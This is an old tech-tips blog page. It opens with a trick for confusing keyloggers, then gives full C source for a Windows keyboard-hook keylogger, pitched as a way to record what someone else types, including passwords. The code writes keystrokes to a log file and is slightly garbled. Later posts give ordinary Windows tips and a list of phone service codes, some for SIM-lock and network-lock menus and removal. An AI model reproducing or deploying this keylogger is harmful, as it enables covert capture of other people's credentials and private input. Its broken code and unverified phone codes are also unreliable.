Powered By Blogger

Sunday, February 12, 2012

Fool A Keylogger !!

These days Agents spy on u everywhere, in college, at work, maybe a trojan virus on your home PC which keylogs your paswords and mails it to someone else. If u think u r being logged, try this: Whenever u have to type a password, never type the complete password in one go, ie, if your password is WINDOWS, u should type NDOW, then move cursor to start of the password field using the mouse ONLY, then type WI, then move cursor to end using the mouse and type S. This way the logger will record your keystrokes as [ndowwis] instead of [WINDOWS]. Haha, keylogger fooled.


What is a keylogger? It's a program that logs everything that you type on the keyboard. What are it's usages to me? Well, if you want to record everything someone types then you can then see anything you want like passwords and such. How do I get one? You can buy some corporate or home usage ones that are made for recording what employees are doing or what your kids are doing that is a bad method though since they are bloated, cost money since most people don't know how to find warez and it's better to make your own since you can make it do what you want to do. Ok, how do I do this? You program one. If you know how to program in C then read on. There are two ways of making a keylogger: 1. Using the GetAsyncKeyState API. Look at svchost.c 2. Using the SetWindowsHookEx API. This is the prefered method but only works on NT based systems. The reason this way is prefered is because it is much more efficient that GetAsyncKeyState. See for yourself. No need to check if what character is being pressed and no need to check other stuff like the value -32767 is being returned. When you use the SetWindowsHookApi you "hook" the keyboard to that you can send all of the keys prssed to somewhere. When making a keylogger you usually send it to a file so that all of the keys will be logged there. The only disavantage of using this API if you could even call it a disadvantage is that you have to use have a DLL as well as your .exe file. I found a peice of code that doesn't need a DLL. Here it is with a slight modification from me so that you don't have to have the keylogger close before you can view the file with the logged keys in it: code: */ // This code will only work if you have Windows NT or // any later version installed, 2k and XP will work. #define _WIN32_WINNT 0x0400 #include "windows.h" #include "winuser.h" #include "stdio.h" // Global Hook handleHHOOK hKeyHook; // This is the function that is "exported" from the // execuatable like any function is exported from a // DLL. It is the hook handler routine for low level // keyboard events. __declspec(dllexport) LRESULT CALLBACK KeyEvent ( int nCode, // The hook codeWPARAM wParam, // The window message (WM_KEYUP, WM_KEYDOWN, etc.)LPARAM lParam // A pointer to a struct with information about the pressed key ) { if ((nCode == HC_ACTION) && // HC_ACTION means we may process this event ((wParam == WM_SYSKEYDOWN) // Only react if either a system key ... (wParam == WM_KEYDOWN))) // ... or a normal key have been pressed. { // This struct contains various information about // the pressed key such as hardware scan code, virtual // key code and further flags. KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam); // dwMsg shall contain the information that would be stored // in the usual lParam argument of a WM_KEYDOWN message. // All information like hardware scan code and other flags // are stored within one double word at different bit offsets. // Refer to MSDN for further information: // // http://msdn.microsoft.com/library/en-us/winui/winui/ // windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp // // (Keystroke Messages) DWORD dwMsg = 1; dwMsg += hooked.scanCode << 16; dwMsg += hooked.flags << 24; // Call the GetKeyNameText() function to get the language-dependant // name of the pressed key. This function should return the name // of the pressed key in your language, aka the language used on // the system. char lpszName[0x100] = {0}; lpszName[0] = '['; int i = GetKeyNameText(dwMsg, (lpszName+1),0xFF) + 1; lpszName = ']'; // Print this name to the standard console output device. FILE *file; file=fopen("keys.log","a+"); fputs(lpszName,file); fflush(file); } // the return value of the CallNextHookEx routine is always // returned by your HookProc routine. This allows other // applications to install and handle the same hook as well. return CallNextHookEx(hKeyHook, nCode,wParam,lParam); } // This is a simple message loop that will be used // to block while we are logging keys. It does not // perform any real task ... void MsgLoop(){MSG message; while (GetMessage(&message,NULL,0,0)) { TranslateMessage( &message ); DispatchMessage( &message );} } // This thread is started by the main routine to install // the low level keyboard hook and start the message loop // to loop forever while waiting for keyboard events. DWORD WINAPI KeyLogger(LPVOID lpParameter){ // Get a module handle to our own executable. Usually, // the return value of GetModuleHandle(NULL) should be // a valid handle to the current application instance, // but if it fails we will also try to actually load // ourself as a library. The thread's parameter is the // first command line argument which is the path to our // executable. HINSTANCE hExe = GetModuleHandle(NULL); if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter); // Everything failed, we can't install the hook ... this // never happened, but error handling is important. if (!hExe) return 1; hKeyHook = SetWindowsHookEx ( // install the hook: WH_KEYBOARD_LL, // as a low level keyboard hook (HOOKPROC) KeyEvent, // with the KeyEvent function from this executable hExe, // and the module handle to our own executableNULL // and finally, the hook should monitor all threads. ); // Loop forever in a message loop and if the loop // stops some time, unhook the hook. I could have // added a signal handler for ctrl-c that unhooks // the hook once the application is terminated by // the user, but I was too lazy. MsgLoop(); UnhookWindowsHookEx(hKeyHook); return 0; } // The main function just starts the thread that // installs the keyboard hook and waits until it // terminates. int main(int argc, char** argv) { HANDLE hThread; DWORD dwThread; DWORD exThread; hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID) argv[0], NULL, &dwThread); if (hThread) { return WaitForSingleObject(hThread,INFINITE); } else {return 1;} } //This is for educational purpose only.........






How To Install Windows 7 From A USB Drive

Windows 7 can run on machines with lower specs than required for Windows Vista, and many users are actually finding it runs better than Windows XP on lower spec machines. It’s also ideal to run on newer netbook machines, but unfortunately many of these do not include a DVD drive so how do you install windows 7 on a machine without a DVD drive?


How To Install Windows 7 From A USB Drive

1. Find a standard 4GB USB Drive and plug it into your machine
2. Click Start in your enter ‘cmd’ in the run field. Once cmd is open type in ‘diskpart’ and a new window will open
3. In the new diskpart window type:



* ‘list disk’ : This lists all the disk drives attached to your machine
* Look for your USB drive and note the number and then type: ’select disk #’, where ‘#’ is your USB disk number
* then type ‘clean’
* then type ‘create partition primary’
* then ’select partition 1′
* then ‘active’
* then ‘format fs=fat32 quick’

Once you’ve finished these steps you then need to copy your Windows 7 files to the USB. To do this you have to mount your Windows 7 ISO as a virtual DVD. Doing this is easy:

1. Install MagicDisk (free)
2. once installed, right-click on MagicDisk in your system tray click on ‘Virtual CD/DVD-Rom’, select your DVD drive
3. then ‘Mount’ and in the dialog window that opens up, select your Windows 7 ISO
4. Now in windows Explorer, click on your DVD drive and you should see all the Windows 7 Files. All you have to do now is copy and paste all the files to your USB key and you have a Windows 7 USB Installation Stick!
5. Install the stick in the PC you want to install Windows 7 on and boot up. Remember to change your bios to allow booting from USB.
Share |


How to Turn Off / Disable Hybrid Sleep Mode In Windows 7, Vista

A great new feature introduced in the Microsoft Windows7  is the “Hybrid Sleep” mode. This is a definite boost from the ordinary “Sleep” feature wherein the unsaved programs and other running programs on the computer were lost in case of a power outage. This was because the Sleep mode would serialize the current state into memory and then shut down all devices other than the RAM. This problem has now been resolved with the “Hybrid Sleep” mode in which the information is saved on the memory as well as a hibernation file similar to the “Hibernate” option.
This function is quite irrelevant for desktop users with UPS backup or those using laptops as these systems are configured to automatically go into hibernation or shutdown as soon as the battery has been reduced to a certain level. Moreover, switching to this feature resulted in the reduction of the performance of the Sleep feature. To turn off and disable the feature follow this step by step process.
Step 1: Click “Start” and select the “Control Panel” option. Redirected to the Control panel page, you need to select the “System and Maintenance” link to view the icon of “Power Options”. This runs the “Power Options Properties” applet.
Step 2: Click on “Select a power plan” tab, and under the “Preferred plans” section, select the option for “Change plan settings”.
Step 3: You are now redirected to the “Change settings for the plan” page. Now click on the “Change advanced power settings” option and under the “Advanced settings” tab, expand the button next to the “Sleep” tree followed by the expansion of the “Allow hybrid sleep” option. Select “Off” from the drop-down list as the value for both “On battery” and “Plugged in” options in your laptops. Click Ok and save the changes.
|

How to make pen drive as ram?

For XP/Vista/win7 :

Follow these steps :-

1. Insert the Pen Drive (1GB atleast) in the USB port
try to prefer 4GB.
2. Let the PC do what it wants to do to detect it..
3. After it finished his work, you have to act smart,

" Here goes the real thing "

4. Right Click on My Computer -> Properties
5. Advanced -> Performance Settings
6. Advanced -> Change
7. Select the Pen Drive
8. Click on Custom Size

" Check the value of space available "

9. Enter the same in the Initial and the Max columns

" You just used the space of the PenDrive as a Virtual Memory "

Restart...
" VOILA !!! Your PC is fast and furious "

Adding system memory (typically referred to as RAM) is often the best way to improve a PC's performance, since more memory means more applications are ready to run without accessing the hard drive. However, upgrading memory can be difficult and costly, and some machines have limited memory expansion capabilities, making it impossible to add RAM.

Windows Vista introduces Windows ReadyBoost, a new concept in adding memory to a system. You can use non-volatile flash memory, such as that on a universal serial bus (USB) flash drive, to improve performance without having to add additional memory "under the hood."


The flash memory device serves as an additional memory cache—that is, memory that the computer can access much more quickly than it can access data on the hard drive. Windows ReadyBoost relies on the intelligent memory management of Windows SuperFetch and can significantly improve system responsiveness.

It's easy to use Windows ReadyBoost. When a removable memory device such as a USB flash drive or a secure digital (SD) memory card is first inserted into a port, Windows Vista checks to see if its performance is fast enough to work with Windows ReadyBoost. If so, you are asked if you want to use this device to speed up system performance. You can choose to allocate part of a USB drive's memory to speed up performance and use the remainder to store files.

Mobile Commands


How much are we aware of mobile commands that can be used to extract the mobile dteails. Check this to know more information on the mobile commands on your cell phone:
Alcatel

IMEI number:
* # 0 6 #

Software version:
* # 0 6 #

Net Monitor:
0 0 0 0 0 0 *

Bosch:

IMEI number:
* # 0 6 #

Dafault Language:
* # 0 0 0 0 #

Net Monitor:
* # 3 2 6 2 2 5 5 * 8 3 7 8 #

Dancall:

IMEI number:
* # 0 6 #

Software version:
* # 9 9 9 9 #

SIMcard serial number:
* # 9 9 9 4 #

Information about battery status:
* # 9 9 9 0 #

Selftest (only Dancall HP2731):
* # 9 9 9 7 #

Show version configuration:
* # 9 9 9 8 #

Net Monitor:
* # 9 9 9 3 #

Ericsson:

IMEI number:
* # 0 6 #

Software version:
> *

Dafault Language:


Enter to phone menu without SimCard - after Wrong PIN:
press NO:
* * 0 4 * 0 0 0 0 * 0 0 0 0 * 0 0 0 0 #

Information about SIMLOCK:


Hagenuk:

IMEI number:
* # 0 6 #

Software version:
# # 9 1 4 0 * 8 3 # 7 5 * 2 #

Mitsubishi:

View IMEI:

* # 06 # View IMEI
Default language English:
* # 0044 # English

JDefault language Deutch:
* # 0049 # Deutsch

NetMonitor1 activate:
hold * enter 4329

NetMonitor2 activate:
hold * enter 621342

Enter into M4 Test mode:
hold * enter 5472

Show SW version:
hold * enter 5806

Show HW version:
hold * enter 5807

Show SW and HW version:
hold * enter 936505

NS Lock Menu:
hold * enter 476989

CP Lock Menu:
hold * enter 482896

NS Lock Menu:
hold * enter 574243

SP Lock Menu:
hold * enter 967678

IMSI Lock Menu:
hold * enter 362628

Lock net.level:
hold * enter 787090

Lock net.level:
hold * enter 787292

Shut Down:
hold * enter 3926

Motorola:

IMEI number:
* # 0 6#

Net Monitor ON:
* * * 1 1 3 * 1 * [OK]

Net Monitor OFF:
* * * 1 1 3 * 1 * [OK]

* - press this until box shown up

Nokia:

IMEI number:
* # 0 6 #

Software version:
* # 0 0 0 0 # lub * # 9 9 9 9 #

Simlock info:
* # 9 2 7 0 2 6 8 9 #

Enhanced Full Rate:
* 3 3 7 0 # [ # 3 3 7 0 # off]

Half Rate:
* 4 7 2 0 #

Provider lock status:
# p w + 1 2 3 4 5 6 7 8 9 0 + 1

Network lock status:
# p w + 1 2 3 4 5 6 7 8 9 0 + 2

Provider lock status:
# p w + 1 2 3 4 5 6 7 8 9 0 + 3

SimCard lock status:
# p w + 1 2 3 4 5 6 7 8 9 0 + 4

1234567890 - MasterCode which is generated from IMEI

Philips:

IMEI number:
* # 0 6 #

Simlock info:
* # 8 3 7 7 #

Security code:
* # 1 2 3 4 # (Fizz) or * # 7 4 8 9 #

Samsung:

IMEI number:
* # 0 6 #

Software version:
* # 9 9 9 9 # albo * # 0 8 3 7 #

Net Monitor:
* # 0 3 2 4 #

Chaning LCD contrast:
* # 0 5 2 3 #

Memory info:
* # 0 3 7 7 # albo * # 0 2 4 6 #

Reset memory (SIMLOCK`a removing!!!):
* 2 7 6 7 * 3 8 5 5 #

Reset CUSTOM memory:
* 2 7 6 7 * 2 8 7 8 #

Battery state:
* # 9 9 9 8 * 2 2 8 #

Alarm beeper:
* # 9 9 9 8 * 2 8 9 #

Vibra test:
* # 9 9 9 8 * 8 4 2 #

Sagem:

IMEI number:
* # 0 6 #

Service Menu access:
MENU 5 1 1 #

Siemens:

IMEI number:
* # 0 6 #

Software version:
put off sim card and enter:: * # 0 6 # (and press LONG KEY)

Bonus screen:
in phone booke: + 1 2 0 2 2 2 4 3 1 2 1

Net Monitor (S4 Power):
Menu 9 8, left SoftKey, 7 6 8 4 6 6 6, Red phone, Menu 5 6

Sony:

IMEI number:
*#06#

Software version:
*#8377466#

Show list of product creator names:
(you must save this number in your Phone Book with "own phone no." record): + 1 2 0 2 2 2 4 3 1